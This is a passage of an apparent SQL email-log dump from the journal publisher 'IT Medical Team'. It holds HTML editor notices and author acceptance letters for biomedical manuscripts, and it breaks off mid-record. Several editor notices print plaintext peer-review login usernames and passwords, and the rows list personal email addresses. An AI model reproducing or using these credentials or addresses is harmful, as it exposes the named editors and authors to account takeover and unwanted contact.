<td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13020</b><br />\r\n            <br />\r\n            Article Title: <b>AN UPDATE ON INTERFERON GAMMA AND C REACTIVE PROTEINS IN SICKLE CELL ANAEMIA CRISIS</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Emmanuel Obeagu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13020</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',13020,'2022-10-26',988),(4156,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13019</b><br />\r\n            <br />\r\n            Article Title: <b>AN INSIGHT OF INTERLEUKIN -6 AND FIBRINOGEN: IN REGULATING THE IMMUNE SYSTEM</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Emmanuel Obeagu</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13019</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',13019,'2022-10-26',988),(4157,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13020</b><br />\r\n            <br />\r\n            Article Title: <b>AN UPDATE ON INTERFERON GAMMA AND C REACTIVE PROTEINS IN SICKLE CELL ANAEMIA CRISIS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Obeagu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-10-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emmanuelobeagu@yahoo.com',13020,'2022-10-26',988),(4158,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13019</b><br />\r\n            <br />\r\n            Article Title: <b>AN INSIGHT OF INTERLEUKIN -6 AND FIBRINOGEN: IN REGULATING THE IMMUNE SYSTEM</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Obeagu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-10-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','emmanuelobeagu@yahoo.com',13019,'2022-10-26',988),(4159,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13121</b><br />\r\n            <br />\r\n            Article Title: <b>Average daily change in SARS-CoV-2 reverse transcription polymerase chain reaction thresholds among elderly patients with COVID-19: A basis for the proposed determination of isolation periods</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nagai</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-10-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nagai@saitamakinen-h.or.jp',13121,'2022-10-31',48),(4160,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13067</b><br />\r\n            <br />\r\n            Article Title: <b>Improving Physical Health for Underserved Elementary School Children: A Comparison of Aerobic and Mind-Body Exercise </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-10-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chunyunw@gmail.com',13067,'2022-10-31',48),(4161,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13145</b><br />\r\n            <br />\r\n            Article Title: <b>A brief note on Neurophysiology and neural engineering</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lori Setton</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13145</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',13145,'2022-11-02',988),(4162,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13144</b><br />\r\n            <br />\r\n            Article Title: <b>Analysis of human carbonic anhydrase IX</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Paul Gellert</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13144</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sudhanshu<br />\r\n            <b>Password:</b> XjaPr9HC<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sekharsudhansu@hotmail.com',13144,'2022-11-02',988),(4163,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13143</b><br />\r\n            <br />\r\n            Article Title: <b>Microcrystal electron diffraction for macromolecular crystallography</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Taro Tamada</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjbs-22-13143</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prabhat_k<br />\r\n            <b>Password:</b> TZTd1Vwt<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','sharmapk@chop.edu',13143,'2022-11-02',988),(4164,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13145</b><br />\r\n            <br />\r\n            Article Title: <b>A brief note on Neurophysiology and neural engineering</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Setton</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','setton@yahoo.com',13145,'2022-11-02',988),(4165,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13144</b><br />\r\n            <br />\r\n            Article Title: <b>Analysis of human carbonic anhydrase IX</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gellert</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','paulgellert@gmail.com',13144,'2022-11-02',988),(4166,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-22-13143</b><br />\r\n            <br />\r\n            Article Title: <b>Microcrystal electron diffraction for macromolecular crystallography</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tamada</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/biomedical-sciences.html\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','taro.t@gmail.com',13143,'2022-11-02',988),(4167,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-22-13069</b><br />\r\n            <br />\r\n            Article Title: <b>CASE BASED DISCUSSION: A RARE CASE OF EMPTY CELLA SYNDROME IN AN ADULT FEMALE.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vyas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drvyaspradeep@gmail.com',13069,'2022-11-04',85),(4168,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13149</b><br />\r\n            <br />\r\n            Article Title: <b>Nutritional recommendations for the physical and mental health of patients with COVID-19: Rapid review </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Demelash Sasie</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sileyeshi21@gmail.com',13149,'2022-11-09',48),(4169,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13149</b><br />\r\n            <br />\r\n            Article Title: <b>Nutritional recommendations for the physical and mental health of patients with COVID-19: Rapid review </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Demelash Sasie</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sileyeshi21@gmail.com',13149,'2022-11-22',48),(4170,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13164</b><br />\r\n            <br />\r\n            Article Title: <b>Detection of Specific Anti-Dengue IgM and IgG Antibodies Differentiate Primary from Secondary Infection</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lei</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','493770782@qq.com',13164,'2022-11-22',48),(4171,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13095</b><br />\r\n            <br />\r\n            Article Title: <b>AYUSHMAN BHARAT MISSION: PROTECT THE HEALTH OF FAMILIES IN UTTAR PRADESH, INDIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>kaushik</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kapilfresh@gmail.com',13095,'2022-11-29',48),(4172,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-22-13119</b><br />\r\n            <br />\r\n            Article Title: <b>A case report of frontoethimoidal encephalocele in a neonate</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kibru</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2022-11-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a 